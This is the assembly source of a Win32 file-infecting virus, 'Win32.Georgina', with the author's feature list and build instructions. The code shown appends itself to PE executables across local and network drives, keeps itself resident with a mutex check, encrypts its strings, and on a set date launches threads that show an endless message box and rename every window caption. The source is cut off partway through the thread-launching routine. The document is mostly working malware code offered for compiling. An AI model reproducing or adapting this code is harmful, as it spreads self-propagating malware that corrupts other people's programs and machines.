;                       @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
;			@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
;			@@				@@
;			@@	Win32.Georgina.3657	@@
;			@@	(C)0ded by KiNETiK	@@
;			@@	     May, 2002		@@
;			@@				@@
;			@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
;			@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
;
;
;Hi guyz,
;
;Finally I finished coding my Win32.Georgina virus, so I can start to write a brief description:)
;This is Win32 per-process multithreaded resident virus, so every infected PE-file
;can launch its own copy of resident virus as soon as it determines that there's no
;other copy of virus running in memory.
;
;Brief Description
;-----------------
;
;        - Win32 appending virus, appends the last section of PE-file (infects only PE *.exe files)
;        - Infects Win9x/NT/2k/XP platforms (is not tested on WinME,but should work there too)
;        - Infects PE-files compressed with various PE-compressors (e.g. UPX)
;        - Infects all the logical drives, including network mapped drives
;        - Puts infection mark at the end of the infected file, in order to avoid multiple
;          infections (infection mark is an encrypted 12-byte string), also checks
;          PE-files for validity
;        - Per-process multithreaded residency, every running copy will be activated unless
;          other copy of virus is running
;        - Encrypted data strings (but not all strings are encrypted)
;        - Undetectable by some antiviruses (can't insist that it won't be detected by ALL
;          AVs)
;        - The payload consists of two separate threads:
;          1) an infinite loop of a MessageBox, with the virus payload info written there
;          2) Every 8 seconds changes recursively all the window captions to the string
;             "Georgina"
;        - The virus has its main thread which launches the other threads or checks every
;          second for the absence of other copy (if the other copy was running at the moment
;          when the 2nd copy was executed)
;        - Other features not mentioned here, just look at the source code and u'll
;          understand everything:)
;
;The virus DOESN'T have any destructive features, there's no need in them:)
;The activation date is 21st of every month or September 21st (depends on version).
;I don't wanna write a long description of every step the virus does, I guess the comments
;in the source are enough:)
;
;Greetingz
;---------
;
;My warmest greetingz to Georgina !!!
;This virus is ***totally*** dedicated to Georgina, the woman who I love and will love forever...
;
;My best regardz and greetingz to 29A members, guyz you are really cool!
;
;
;(C)0ded by KiNETiK, May 2002            e-mail: kinetik_fire@yahoo.com
;
;Compiling
;---------
;Compile the source with TASM 5.0:
;        tasm32 -ml -m5 -q -zn Georgina.asm
;        tlink32 -Tpe -c -x -aa Georgina.obj,,, import32
;        pewrsec.com Georgina.exe
;
;
;       The code is not fully optimized yet (could be smaller).
;       If u find any bugs or u have comments, feel free to contact me.
;;;;;;;;;;;;;;;;;;;;;;;;;

                .586p
                .model  flat

include W32.inc
include Imghdr.inc

                .data
                ; this stuff is for 1st generation only,for the MessageBox displaying the 1st generation info :)
                szCaption       db      "Dear user:)",0h
                szMessage       db      "Introducing Win32.Georgina virus!",0Dh
                                db      "Congratulations! :) 1st generation is successfully launched! :)",0Dh,0Dh
                                db      "(C)0ded by KiNETiK, May 2002",0Dh,0Dh
                                db      "Dedicated to Georgina",0h
                .code
main:

; Here is our virus code, the most difficult part to code:))
infect_section:
                call    delta_offset
delta_offset:
                pop     ebp
                mov     eax,ebp
                sub     eax,5h                                  ; substract 5h due to call instruction (call delta_offset)
                sub     ebp,offset delta_offset

                mov     dword ptr [ebp+_EBP],ebp                ; saving EBP in _EBP
                mov     dword ptr [ebp+_ImageBase],eax

                call    GetKernel32BaseAddress
                mov     dword ptr [ebp+K32Address],eax          ; Saving found kernel base

                mov     esi,eax
                call    GetUsefulAPIz

                call    LaunchVirusMainThread

                cmp     ebp,0h                  ; if EBP=0 that means we r in the 1st generation
                je      _1st_generation         ; jumping to the messagebox :)

                jmp     MainEnd                 ; jump back to the host

; GetKernel32BaseAddress
; Gets Kernel32 base address, return address in eax
GetKernel32BaseAddress  proc
                mov     esi,[esp+4h]            ; last item in stack is return address to CreateProcess API from Kernel32.dll
                                                ; adding 4h due to return EIP before calling this function
                and     esi,0FFFF0000h          ; align it with page size, 4K (1000h), K32 is mapped at page start
                mov     ecx,40h                 ; scan backward up to 64 pages...
@K32Loop:
                sub     esi,1000h                       ; go back
                dec     ecx                             ; ecx is counter
                cmp     ecx,0h                          ; scanned all the area?
                jz      @K32NotFound                    ; yes, that means didn't get K32 address yet:( hardcode it:(
                cmp     word ptr [esi],"ZM"             ; is it MZ executable?
                jne     @K32Loop                        ; no, tyry again; yes, go ahead
                mov     ebx,dword ptr [esi+3Ch]         ; locate PE header...
                cmp     dword ptr [esi+ebx],"EP"        ; it it really PE header?
                je      @K32Found                       ; wow! we found Kernel32 base address:)
                loopnz  @K32Loop                        ; main loop

@K32NotFound:
                mov     eax,0BFF70000h                          ; couldn't locate Kernel32 base
                ret                                             ; return hardcoded value for Win9x
@K32Found:
                mov     eax,esi
                ret
GetKernel32BaseAddress  endp

; GetK32APIAddress
; function gets API addresses
; esi = K32 base address, edi = funtion name string offset
GetK32APIAddress        proc
                push    esi
                mov     edx,dword ptr [esi+3Ch]                         ; locating PE header
                add     edx,78h                                         ; getting export table RVA
                add     esi,edx                                         ; setting new offset

                assume  esi:ptr IMAGE_DATA_DIRECTORY                    ; ok, here we get into data
                mov     edx,[esi].VirtualAddress                        ; directory and locate export RVA

                assume esi:
                mov     esi,dword ptr [ebp+K32Address]                  ; normalize it
                add     esi,edx

                assume  esi:ptr IMAGE_EXPORT_DIRECTORY                          ; prepair to get exports...
                mov     ecx,[esi].NumberOfFunctions                             ; getting number of exports
                mov     dword ptr [ebp+K32NumberOfExports],ecx
                mov     ebx,[esi].AddressOfFunctions                            ; Getting pointer to RVA of function addresses
                mov     edx,[esi].AddressOfNames                                ; Getting pointer to RVA of function names
                mov     eax,[esi].AddressOfNameOrdinals                         ; Getting pointer to RVA of name ordinals

                assume  esi:
                push    eax                                                     ; saving some stuff:)

                mov     esi,dword ptr [ebp+K32Address]                                          ; locating and saving function export
                add     ebx,esi                                                 ; address for later use
                mov     dword ptr [ebp+K32ExportAddress],ebx

                pop     eax                                                     ; getting the ordinals' address
                add     eax,esi                                                 ; address for later use
                mov     dword ptr [ebp+K32OrdinalsAddress],eax

                mov     edx,[esi+edx]                                           ; getting RVA where stored address
                add     esi,edx                                                 ; of name tables

@FindAPI:
                push    esi                     ; saving some stuff
                mov     edx,esi                 ; all these stuff is for parsing function names
@Loop1:
                cmp     byte ptr [esi],0h       ; check whether we found null-terminator of the funciton name string
                je      @Loop2                  ; yes, go ahead....
                inc     esi                     ; no, still scanning function name...
                jmp     @Loop1
@Loop2:
                inc     esi                     ; ok, we get function name size
                sub     esi,edx                 ; store it in ecx
                mov     ecx,esi
                pop     esi

                cld                             ; clear direction flag
                push    esi                     ; saving all registers we need....
                push    edi
                push    ecx
                repe    cmpsb                   ; comparing function names (esi=current,edi=function to find)
                pop     ecx                     ; restoring all our regs...
                pop     edi
                pop     esi
                je      @APIFound                                       ; found? ok, go ahead
                add     esi,ecx                                         ; not found, continue scanning...
                inc     dword ptr [ebp+Counter]                         ; function exports counter...
                mov     eax,dword ptr [ebp+Counter]                     ; still have functions to scan?
                mov     eax,dword ptr [ebp+K32NumberOfExports]          ; yes, continue
                cmp     dword ptr [ebp+Counter],eax                     ; no, damn, we failed:(
                jge     @APINotFound
                jl      @FindAPI
@APIFound:
                mov     eax,dword ptr [ebp+Counter]             ; current function export number = Counter
                shl     eax,1                                   ; eax = eax * 2, add to ordinal address, get the
                mov     esi,dword ptr [ebp+K32OrdinalsAddress]  ; function ordinal we need,
                add     esi,eax                                 ; normalize it
                lodsw                                           ; get that value in ordinal...
                shl     eax,2                                   ; eax = eax * 4, locate correct item in export address table
                mov     esi,dword ptr [ebp+K32ExportAddress]    ; get export address
                add     esi,eax                                 ; normalize it
                lodsd                                           ; get the function entry-point we need!
                add     eax,dword ptr [ebp+K32Address]          ; normalize it...
                mov     dword ptr [ebp+Counter],0h
                pop     esi
                ret                                             ; ohhh,finally we found it and getting out fom here:)
@APINotFound:
                mov     eax,00000000h                           ; we didn't find anything...returning error (0h)
                pop     esi
                ret
GetK32APIAddress   endp

;Getting all useful APIz we need...
GetUsefulAPIz   proc
                ; Now we get useful functions from Kernel32
                lea     edi,[ebp+szGetProcAddress]                             ; edi must have offset of the function name to find
                call    GetK32APIAddress
                mov     dword ptr [ebp+_GetProcAddress],eax

                lea     edi,[ebp+szGetModuleHandleA]
                call    GetK32APIAddress
                mov     dword ptr [ebp+_GetModuleHandleA],eax

                lea     edi,[ebp+szLoadLibraryA]
                call    GetK32APIAddress
                mov     dword ptr [ebp+_LoadLibraryA],eax

                lea     edi,[ebp+szGetFileAttributesA]
                call    GetK32APIAddress
                mov     dword ptr [ebp+_GetFileAttributesA],eax

                lea     edi,[ebp+szSetFileAttributesA]
                call    GetK32APIAddress
                mov     dword ptr [ebp+_SetFileAttributesA],eax

                lea     edi,[ebp+szCreateFileA]
                call    GetK32APIAddress
                mov     dword ptr [ebp+_CreateFileA],eax

                lea     edi,[ebp+szCreateFileMappingA]
                call    GetK32APIAddress
                mov     dword ptr [ebp+_CreateFileMappingA],eax

                lea     edi,[ebp+szMapViewOfFile]
                call    GetK32APIAddress
                mov     dword ptr [ebp+_MapViewOfFile],eax

                lea     edi,[ebp+szUnmapViewOfFile]
                call    GetK32APIAddress
                mov     dword ptr [ebp+_UnmapViewOfFile],eax

                lea     edi,[ebp+szFindFirstFileA]
                call    GetK32APIAddress
                mov     dword ptr [ebp+_FindFirstFileA],eax

                lea     edi,[ebp+szFindNextFileA]
                call    GetK32APIAddress
                mov     dword ptr [ebp+_FindNextFileA],eax

                lea     edi,[ebp+szFindClose]
                call    GetK32APIAddress
                mov     dword ptr [ebp+_FindClose],eax

                lea     edi,[ebp+szSetCurrentDirectoryA]
                call    GetK32APIAddress
                mov     dword ptr [ebp+_SetCurrentDirectoryA],eax

                lea     edi,[ebp+szGetLocalTime]
                call    GetK32APIAddress
                mov     dword ptr [ebp+_GetLocalTime],eax

                lea     edi,[ebp+szCreateThread]
                call    GetK32APIAddress
                mov     dword ptr [ebp+_CreateThread],eax

                lea     edi,[ebp+szSetThreadPriority]
                call    GetK32APIAddress
                mov     dword ptr [ebp+_SetThreadPriority],eax

                lea     edi,[ebp+szResumeThread]
                call    GetK32APIAddress
                mov     dword ptr [ebp+_ResumeThread],eax

                lea     edi,[ebp+szCreateMutexA]
                call    GetK32APIAddress
                mov     dword ptr [ebp+_CreateMutexA],eax

                lea     edi,[ebp+szOpenMutexA]
                call    GetK32APIAddress
                mov     dword ptr [ebp+_OpenMutexA],eax

                lea     edi,[ebp+szSleep]
                call    GetK32APIAddress
                mov     dword ptr [ebp+_Sleep],eax

                lea     edi,[ebp+szGetLogicalDrives]
                call    GetK32APIAddress
                mov     dword ptr [ebp+_GetLogicalDrives],eax

                lea     edi,[ebp+szGetDriveTypeA]
                call    GetK32APIAddress
                mov     dword ptr [ebp+_GetDriveTypeA],eax

                lea     edi,[ebp+szGetFileSize]
                call    GetK32APIAddress
                mov     dword ptr [ebp+_GetFileSize],eax

                lea     edi,[ebp+szCloseHandle]
                call    GetK32APIAddress
                mov     dword ptr [ebp+_CloseHandle],eax

                lea     edi,[ebp+szVirtualAlloc]
                call    GetK32APIAddress
                mov     dword ptr [ebp+_VirtualAlloc],eax

                ;Now we check/load User32.dll for getting functions from it
                lea     eax,[ebp+szUser32Dll]
                push    eax
                call    [ebp+_GetModuleHandleA]
                cmp     eax,00000000h
                jne     @_U32Found

                lea     eax,[ebp+szUser32Dll]
                push    eax
                call    [ebp+_LoadLibraryA]
                cmp     eax,00000000h
                je      MainEnd

                lea     eax,[ebp+szUser32Dll]
                push    eax
                call    [ebp+_GetModuleHandleA]
                cmp     eax,00000000h
                jne     @_U32Found
                je      MainEnd
@_U32Found:
                ;now we get useful functions from User32
                mov     dword ptr [ebp+U32Address],eax

                lea     eax,[ebp+szMessageBoxA]
                push    eax
                push    [ebp+U32Address]
                call    [ebp+_GetProcAddress]
                mov     dword ptr [ebp+_MessageBoxA],eax

                lea     eax,[ebp+szSetWindowTextA]
                push    eax
                push    [ebp+U32Address]
                call    [ebp+_GetProcAddress]
                mov     dword ptr [ebp+_SetWindowTextA],eax

                lea     eax,[ebp+szGetTopWindow]
                push    eax
                push    [ebp+U32Address]
                call    [ebp+_GetProcAddress]
                mov     dword ptr [ebp+_GetTopWindow],eax

                lea     eax,[ebp+szGetWindow]
                push    eax
                push    [ebp+U32Address]
                call    [ebp+_GetProcAddress]
                mov     dword ptr [ebp+_GetWindow],eax

                ret                                             ; end of looking for all API function addresses we need
GetUsefulAPIz   endp

;edi = filename address
InfectFile      proc                                            ; function that infects single file
                pushad
                ; initting vars
                xor     eax,eax
                mov     dword ptr [ebp+pMemory],eax
                mov     dword ptr [ebp+FileHandle],eax
                mov     dword ptr [ebp+FileMappedHandle],eax

                ; Clearing  & storing fileattributes
                push    edi
                call    [ebp+_GetFileAttributesA]
                mov     dword ptr [ebp+FileAttrib],eax

                push    FILE_ATTRIBUTE_NORMAL
                push    edi
                call    [ebp+_SetFileAttributesA]
                ; File attributes are cleared and stored now...

                call    [ebp+_CreateFileA],edi,GENERIC_READ or GENERIC_WRITE,0,0,OPEN_EXISTING,0,0
                cmp     eax,INVALID_HANDLE_VALUE
                je      @_InfectFailure

                mov     dword ptr [ebp+FileHandle],eax                  ; Getting file size, calulating
                push    0h
                push    [ebp+FileHandle]
                call    [ebp+_GetFileSize]                              ; new file size, need for mapping it
                cmp     eax,-1
                je      @_InfectFailure
                mov     dword ptr [ebp+FileSize],eax

                cmp     [ebp+FileSize],3Ch                              ; we r sure that PE file can't be so small,
                jbe     @_InfectFailure                                 ; actually it's an additional check of PE validity

                ; Checking if MZ/PE file and already infected or not
                push    0h
                push    [ebp+FileSize]
                push    0h
                push    PAGE_READONLY
                push    0h
                push    [ebp+FileHandle]
                call    [ebp+_CreateFileMappingA]
                cmp     eax,0h
                je      @_InfectFailure
                mov     dword ptr [ebp+FileMappedHandle],eax

                push    0h
                push    0h
                push    0h
                push    FILE_MAP_READ
                push    [ebp+FileMappedHandle]
                call    [ebp+_MapViewOfFile]
                cmp     eax,0h
                je      @_InfectFailure
                mov     esi,eax
                mov     dword ptr [ebp+pMemory],esi

                cmp     word ptr [esi],IMAGE_DOS_SIGNATURE              ; Checking if the file iz valid MZ
                jne     @_InfectFailure                                 ; executable, if so we are trying
                mov     eax,dword ptr [esi+03Ch]                        ; to locate the PE header offset
                mov     dword ptr [ebp+PEHdrOffset],eax

                mov     ebx,[ebp+FileSize]                              ; checking the validy of MZ/PE file
                cmp     ebx,eax                                         ; by comparing file size and possible
                jbe     @_InfectFailure                                 ; PE header and start offsets

                add     esi,eax
                xor     eax,eax
                cmp     word ptr [esi],IMAGE_NT_SIGNATURE               ; Checking if valid PE, if so,
                jne     @_InfectFailure                                 ; starting PE header midifications...
                                                                        ; if not, return error
                assume  esi:                                            ; checking if PE file is already infected or not
                mov     esi,dword ptr [ebp+pMemory]                     ; At the end of PE file we put special magic
                mov     eax,dword ptr [ebp+FileSize]                    ; bytes,thus generating infection mark
                sub     eax,12
                add     esi,eax
                cmp     dword ptr [esi],0CFED8A8Ah                      ; magic bytes
                jne     @InfectionStart
                cmp     dword ptr [esi+4],0C3CDD8C5h                    ; magic bytes
                jne     @InfectionStart
                cmp     dword ptr [esi+8],8A8ACBC4h                     ; magic bytes
                je      @_InfectFailure
                ; End of checking whether MZ/PE and already infected or not
@InfectionStart:
                ; Starting infection here
                push    edi
                xor     eax,eax
                mov     eax,dword ptr [ebp+FileSize]
                add     eax,INFECTLENGTH + 12           ; We store infection mark here in additional 12 bytes
                push    0h
                push    eax
                push    0h
                push    PAGE_READWRITE
                push    0h
                push    [ebp+FileHandle]
                call    [ebp+_CreateFileMappingA]
                cmp     eax,0h
                je      @_InfectFailure
                mov     dword ptr [ebp+FileMappedHandle],eax

                push    0h
                push    0h
                push    0h
                push    FILE_MAP_ALL_ACCESS
                push    [ebp+FileMappedHandle]
                call    [ebp+_MapViewOfFile]
                cmp     eax,0h
                je      @_InfectFailure
                mov     esi,eax
                mov     dword ptr [ebp+pMemory],esi

                mov     eax,dword ptr [esi+03Ch]                        ; locating the PE header offset
                mov     dword ptr [ebp+PEHdrOffset],eax                 ; saving it
                add     esi,eax                                         ; normalizing the address
                xor     eax,eax

                assume  esi: ptr IMAGE_NT_HEADERS
                mov     ax,[esi].FileHeader.NumberOfSections            ; Modifying PE header
                mov     dword ptr [ebp+SectionsNum],eax                 ; Getting sections number
                mov     eax,[esi].OptionalHeader.AddressOfEntryPoint    ; Getting entry-point
                mov     dword ptr [ebp+OldEntryPoint],eax
                mov     eax,[esi].OptionalHeader.FileAlignment
                mov     dword ptr [ebp+dFileAlignment],eax

                assume esi:
                xor     eax,eax
                mov     esi,dword ptr [ebp+pMemory]                                     ; points to file start
                add     esi,dword ptr [ebp+PEHdrOffset]                                 ; points to PE header start
                mov     ax,word ptr [esi+14h]                           ; getting IOH size
                add     esi,18h                                         ; adding IFH size
                add     esi,eax                                         ; calculating the overall offset

                mov     eax,28h                                         ; one section's size=28h
                mov     ecx,dword ptr [ebp+SectionsNum]                                 ; how many sections
                dec     ecx
                imul    ecx                                             ; multiplying, section_num * section_size
                add     esi,eax                                         ; getting last section's offset

                assume  esi: ptr IMAGE_SECTION_HEADER
                push    esi

                mov     eax,[esi].SVirtualAddress                       ; will use it later
                push    eax

                mov     edx,dword ptr [ebp+FileSize]                    ; here we calculate SizeOfRawData and save it
                sub     edx,[esi].PointerToRawData                      ; for later use
                push    edx
                add     edx,INFECTLENGTH                                ; add infection block (virus) size
                mov     [esi].SVirtualSize,edx                          ; save this value in VirtualSize and
                mov     [esi].SizeOfRawData,edx                         ; SizeOfRawData fields

                mov     eax,[esi].SVirtualSize                          ; starting to calculate new SizeOfImageValue ...
                add     eax,[esi].SVirtualAddress

                assume  esi:                                            ; normalze the pointer, so we are at the field that
                mov     esi,dword ptr [ebp+pMemory]                     ; we'r gonna modify
                add     esi,dword ptr [ebp+PEHdrOffset]
                assume  esi: ptr IMAGE_NT_HEADERS
                mov     [esi].OptionalHeader.SizeOfImage,eax
                pop     edx                                             ; restoring SizeOfRawData value
                pop     eax                                             ; ..and VirtualAddress value
                add     eax,edx                                         ; add them,and...
                mov     [esi].OptionalHeader.AddressOfEntryPoint,eax    ; we get new entry-point
                mov     dword ptr [ebp+_EntryPoint],eax                 ; Another correct way to get the return point to host

                pop     esi
                mov     eax,CHARSNEW                                    ; new characteristics for section
                mov     [esi].SFlags,eax

                assume  esi:
                mov     ecx,INFECTLENGTH                                ; infecting section size
                mov     edi,dword ptr [ebp+pMemory]                                     ; prepare to add the last section
                add     edi,dword ptr [ebp+FileSize]                                    ; where to copy
                lea     eax,[ebp+infect_section]                              ; getting section's address
                mov     esi,eax                                         ; setting up destination address
                rep     movsb                                           ; copying bytes...

                ; Adding infection mark, encrypted string...
                lea     esi,[ebp+InfectionMark]
                mov     ecx,12
                rep     movsb
                ; Infection mark added...

                pop     edi
                popad
                mov     eax,1h
@InfectFailure:
                push    eax

                mov     eax,dword ptr [ebp+pMemory]
                cmp     eax,0h
                je      @InfectFailure1
                push    [ebp+pMemory]
                call    [ebp+_UnmapViewOfFile]
@InfectFailure1:
                mov     eax,dword ptr [ebp+FileMappedHandle]
                cmp     eax,0h
                je      @InfectFailure2
                push    [ebp+FileMappedHandle]
                call    [ebp+_CloseHandle]
@InfectFailure2:
                mov     eax,dword ptr [ebp+FileHandle]
                cmp     eax,0h
                je      @InfectFailure3
                push    [ebp+FileHandle]
                call    [ebp+_CloseHandle]
@InfectFailure3:
                push    [ebp+FileAttrib]
                push    edi
                call    [ebp+_SetFileAttributesA]

                pop     eax
                ret
@_InfectFailure:
                popad
                mov     eax,0h
                jmp     @InfectFailure
InfectFile      endp

; Infects the given path recursively...
; I'm not gonna comment all the lines in this function, it's really annoying to code stuff like this, so
; if you wanna understand it better, I guess it's easier to code this function in C/C++ and then
; translate it to ASM, this way will take less time:)
; edi = path to infect
InfectPath      proc
                push    [ebp+FindHandle]

                push    edi
                call    [ebp+_SetCurrentDirectoryA]
                cmp     eax,0h
                je      @ExitInfectPath2

                lea     ebx,[ebp+offset FindResult]
                push    ebx
                lea     ebx,[ebp+offset szEXEMask]
                push    ebx
                call    [ebp+_FindFirstFileA]
                mov     [ebp+FindHandle],eax
                cmp     eax,INVALID_HANDLE_VALUE
                je      @DirLoop

                lea     esi,[ebp+FindResult]
                assume  esi: ptr WIN32_FIND_DATA
                lea     edi,[ebp+FindResult.fd_cFileName]

                call    InfectFile

                mov     ecx,MAX_PATH
                xor     al,al
                rep     stosb
@NextLoop1:
                lea     ebx,[ebp+offset FindResult]
                push    ebx
                push    [ebp+FindHandle]
                call    [ebp+_FindNextFileA]
                cmp     eax,0h
                je      @DirLoop

                push    eax
                lea     edi,[ebp+FindResult.fd_cFileName]

                call    InfectFile

                mov     ecx,MAX_PATH
                xor     al,al
                rep     stosb
                pop     eax
                cmp     eax,0h
                jne     @NextLoop1

@DirLoop:
                push    [ebp+FindHandle]
                call    [ebp+_FindClose]
                lea     ebx,[ebp+offset FindResult]
                push    ebx
                lea     ebx,[ebp+offset szGlobalMask]
                push    ebx
                call    [ebp+_FindFirstFileA]
                mov     [ebp+FindHandle],eax
                cmp     eax,INVALID_HANDLE_VALUE
                je      @ExitInfectPath1
@NextLoop2:
                lea     esi,[ebp+FindResult]
                assume  esi: ptr WIN32_FIND_DATA
                mov     edx,[esi].fd_dwFileAttributes
                and     edx,FILE_ATTRIBUTE_DIRECTORY
                cmp     edx,0h
                je      @NextLoop2Jump
                cmp     [esi].fd_cFileName,2Eh             ; ASCII for '.'
                je      @NextLoop2Jump
                lea     edi,[ebp+FindResult.fd_cFileName]
                call    InfectPath
@NextLoop2Jump:
                lea     ebx,[ebp+offset FindResult]
                push    ebx
                push    [ebp+FindHandle]
                call    [ebp+_FindNextFileA]
                cmp     eax,0h
                jnz     @NextLoop2

@ExitInfectPath1:
                lea     ebx,[ebp+offset szUpDir]
                push    ebx
                call    [ebp+_SetCurrentDirectoryA]
                push    [ebp+FindHandle]
                call    [ebp+_FindClose]
@ExitInfectPath2:
                pop     [ebp+FindHandle]
                ret
InfectPath      endp

; this is the payload
PayLoad         proc
                pushad
                lea     ebx,[ebp+offset Time]                   ; getting system date/time
                push    ebx                                     ; using API GetLocalTime
                call    [ebp+_GetLocalTime]
                ;mov     bx,[ebp+Time.st_wMonth]                 ; launching the visual payload when it's the right date
                ;cmp     bx,9                           ; we check here the month,in this version will work on 21st of every month
                ;jne     @SkipPayloadKernel                      ; otherwise skip visual payload
                mov     bx,[ebp+Time.st_wDay]
                cmp     bx,21
                jne     @SkipPayloadKernel
@PayloadKernel:
                lea     ebx,[ebp+offset ThreadID1]              ; launching a thread which nags the user with a messagebox
                push    ebx
                push    0h
                lea     ebx,[ebp+_EBP]
                push    ebx
                lea     ebx,[ebp+offset FuckingNagger]
                push    ebx
                push    0h
                push    0h
                call    [ebp+_CreateThread]

                lea     ebx,[ebp+offset ThreadID2]              ; launching a thread which periodically changes captions of all
                push    ebx                                     ; active windows possible
                push    0h
                lea     ebx,[ebp+_EBP]
                push    ebx
                lea     ebx,[ebp+offset Win32GeorginaPayload]
                push    ebx
                push    0h
                push    0h
                call    [ebp+_CreateThread]
@SkipPayloadKernel:
                popad
                ret
PayLoad         endp

; edi = handle of the most parent window to change the captions
ChangeWndText   proc
                cmp     edi,0h
                je      @CWT1

                lea     ebx,[ebp+offset szGeorgina]             ; changes window's caption
                push    ebx
                push    edi
                call    [ebp+_SetWindowTextA]
@CWT1:
                push    edi
                call    [ebp+_GetTopWindow]                     ; getting top window
                cmp     eax,0h
                je      @CWT2

                push    edi
                mov     edi,eax
                call    ChangeWndText                           ; recursively change the window caption of sub-windows
                pop     edi
@CWT2:
                push    2h                                      ; 2h = GW_HWNDNEXT
                push    edi
                call    [ebp+_GetWindow]                        ; recursively change the window caption of sub-windows,
                cmp     eax,0h                                  ; iteration over next windows...
                je      @CWT3

                push    edi
                mov     edi,eax
                call    ChangeWndText                           ; ...and again entering the recursive part
                pop     edi
@CWT3:
                ret
ChangeWndText   endp

FuckingNagger   proc
                pushad
                ; Here we try to get parameter EBP passed to the new thread...
                mov     ebp,[ebp+0Ch]            ; 0Ch = 12, 0Ch points to the first parameter in the stack in a new thread
                mov     ebp,[ebp]

                push    PAGE_READWRITE                  ; allocating virtual memory to decrypt the payload message
                push    MEM_COMMIT
                push    100h
                push    0h
                call    [ebp+_VirtualAlloc]
                cmp     eax,0h
                je      @_not_alloced
                mov     [ebp+pVirtualMemory],eax
                jmp     @_alloced
@_not_alloced:
                lea     eax,[ebp+offset szVirus]
                mov     [ebp+pVirtualMemory],eax
@_alloced:
                call    CryptVirusMessage               ; decrypting payload message
@FuckingNagger:
                push    0h                              ; running forever loop of messagebox :)
                lea     ebx,[ebp+offset szGeorgina]
                push    ebx
                push    [ebp+pVirtualMemory]
                push    0h
                call    [ebp+_MessageBoxA]
                jmp     @FuckingNagger

                pushad
                ret
FuckingNagger   endp

Win32GeorginaPayload     proc
                pushad
                ; Here we try to get parameter EBP passed to the new thread...
                mov     ebp,[ebp+0Ch]            ; 0Ch = 12, 0Ch points to the first parameter in the stack in a new thread
                mov     ebp,[ebp]
@ForeverPayload:
                xor     edi,edi
                call    ChangeWndText
                push    8000                    ; 8 seconds of delay between each update of the window captions
                call    [ebp+_Sleep]
                jmp     @ForeverPayload

                popad
                ret
Win32GeorginaPayload     endp

CryptVirusMessage       proc
                pushad
                ; Decrypting virus message string

                lea     esi,[ebp+offset szVirus]
                mov     edi,[ebp+pVirtualMemory]
                xor     ecx,ecx
                mov     cl,szVirusMsgSize
                cld
@decrypt:
                lodsb                           ; performing simple XOR crypt/decrypt
                xor     al,0AAh
                stosb
                loopnz  @decrypt

                popad
                ret
CryptVirusMessage       endp

CryptMutexName  proc
                pushad
                ; Decrypting mutex name string....
                lea     esi,[ebp+offset szMutexName]
                mov     edi,esi
                xor     ecx,ecx
                mov     cl,MutexNameSize
                cld
@_decrypt_mutex:
                lodsb                           ; performing simple XOR crypt/decrypt
                xor     al,0AAh
                stosb
                loopnz  @_decrypt_mutex

                popad
                ret
CryptMutexName  endp

CheckForCopies  proc                                            ; checks whether other resident copy of virus is running
                call    CryptMutexName                          ; decrypts mutex name
                lea     ebx,[ebp+offset szMutexName]            ; mutex is used to determine the presence of other copy
                push    ebx
                push    0h
                push    1F0001h                                 ; 1F0001h = MUTEX_ALL_ACCESS
                call    [ebp+_OpenMutexA]                       ; OpenMutexA returns handle to mutex it it exists already
                cmp     eax,0h                                  ; if there's no mutex,try to create it...
                jne     @_mutex_exists

                push    ebx                                     ; creating mutex...
                push    1h
                push    0h
                call    [ebp+_CreateMutexA]
                cmp     eax,0h
                je      @_no_mutex_created
                jne     @_mutex_created
@_no_mutex_created:
                call    CryptMutexName
                mov     eax,0FFFFFFFEh                  ; error, no mutex exists and can't be created
                ret
@_mutex_exists:
                push    eax                             ; IMPORTANT!!! to close opened mutex handle in order for system to kill the
                call    [ebp+_CloseHandle]              ; the mutex which is always checked as a residency flag!
                call    CryptMutexName
                mov     eax,0FFFFFFFFh                  ; error, mutex exists and can't be created
                ret
@_mutex_created:
                call    CryptMutexName
                mov     eax,0h                          ; success, there was no mutex in the system and it has been just created
                ret
CheckForCopies  endp

StartInfection  proc
                pushad
                ; Here we try to get parameter EBP passed to the new thread...
                mov     ebp,[ebp+0Ch]            ; 0Ch = 12, 0Ch points to the first parameter in the stack in a new thread
                mov     ebp,[ebp]

                call    [ebp+_GetLogicalDrives]         ; getting logical drives....
                mov     ebx,eax
                xor     ecx,ecx
@DriveLoop:
                push    ecx                             ; and checking whether it's HD or netwrok drive...
                mov     edx,1h
                shl     edx,cl
                push    ebx
                and     ebx,edx
                cmp     ebx,0h
                je      @_do_not_infect_disk

                mov     edx,65                          ; ASCII for 'A'
                add     edx,ecx
                lea     edi,[ebp+offset szDestDir]
                mov     [edi],dl

                push    edi
                call    [ebp+_GetDriveTypeA]
                cmp     eax,3h                          ; DRIVE_FIXED = 3, according to WinBase.h
                je      @_infect_disk
                cmp     eax,4h                          ; DRIVE_REMOTE = 4, according to WinBase.h
                je      @_infect_disk
                jmp     @_do_not_infect_disk
@_infect_disk:
                lea     edi,[ebp+offset szDestDir]
                call    InfectPath
@_do_not_infect_disk:
                pop     ebx
                pop     ecx
                inc     ecx
                cmp     ecx,32
                jl      @DriveLoop

                popad
                ret
StartInfection  endp

VirusMainThread proc                            ;if no other copy of virus is running then spawns the infector and the payload
                pushad
                ; Here we try to get parameter EBP passed to the new thread...
                mov     ebp,[ebp+0Ch]           ; 0Ch = 12, 0Ch points to the first parameter in the stack in a new thread
                mov     ebp,[ebp]
@MainLoop:
                call    CheckForCopies
                cmp     eax,0h
                je      @StartAllSubRoutines
                push    1000                    ; Sleeping 1 second(s) before performing next check of running copies
                call    [ebp+_Sleep]
                jmp     @MainLoop
@StartAllSubRoutines:
                ; starting the low priority thread for infecting
                lea     ebx,[ebp+offset ThreadID3]
                push    ebx
                push    CREATE_SUSPENDED                        ; 0h is when u need to run the thread immediately
                lea     ebx,[ebp+_EBP]
                push    ebx
                lea     ebx,[ebp+offset StartInfection]
                push    ebx
                push    0h
                push    0h
                call    [ebp+_CreateThread]
                cmp     eax,0
                je      @VirusMainThreadEnd
                push    eax

                push    THREAD_PRIORITY_BELOW_NORMAL
                push    eax
                call    [ebp+_SetThreadPriority]

                call    [ebp+_ResumeThread]
                ; end of starting for the low priority thread for infecting

                ; starting the payload (it'll decide itself to continue or to stop)
                call    PayLoad
                ; exitting our virus main thread, we consider all jobs are done and all the threads are launched!
@VirusMainThreadEnd:
                popad
                ret
VirusMainThread endp

LaunchVirusMainThread   proc                            ; launching viri's main thread...
                pushad
                lea     ebx,[ebp+offset ThreadID3]
                push    ebx
                push    0h
